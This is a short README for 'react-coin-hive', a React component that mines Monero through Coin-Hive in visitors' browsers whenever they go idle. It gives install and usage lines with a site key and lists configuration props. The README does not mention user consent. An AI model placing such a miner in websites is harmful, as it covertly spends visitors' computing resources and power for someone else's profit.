React Coin-Hive
Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
Installation
npm install --save react-coin-hive
Usage
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
Props
-
siteKey
: Your Coin-Hive Site Key. -
timeout
: How long before considering that the user is idle in milliseconds. Default is30000
. -
userName
: If used, the miner will be created withCoinHive.User(siteKey, userName)
. By default the miner is created withCoinHive.Anonymous(siteKey)
. -
threads
: The number of threads the miner should start with. Default is2
. -
throttle
: The fraction of time that threads should be idle. Default is0
. -
onInit
: A function that takes theminer
instance as argument. It's called when the miner is created. -
onStart
: A function that takes theminer
instance as argument. It's called every time the miner is started. -
onStop
: A function that takes theminer
instance as argument. It's called every time the miner is stopped.
Disclaimer
I have nothing to do with coin-hive.com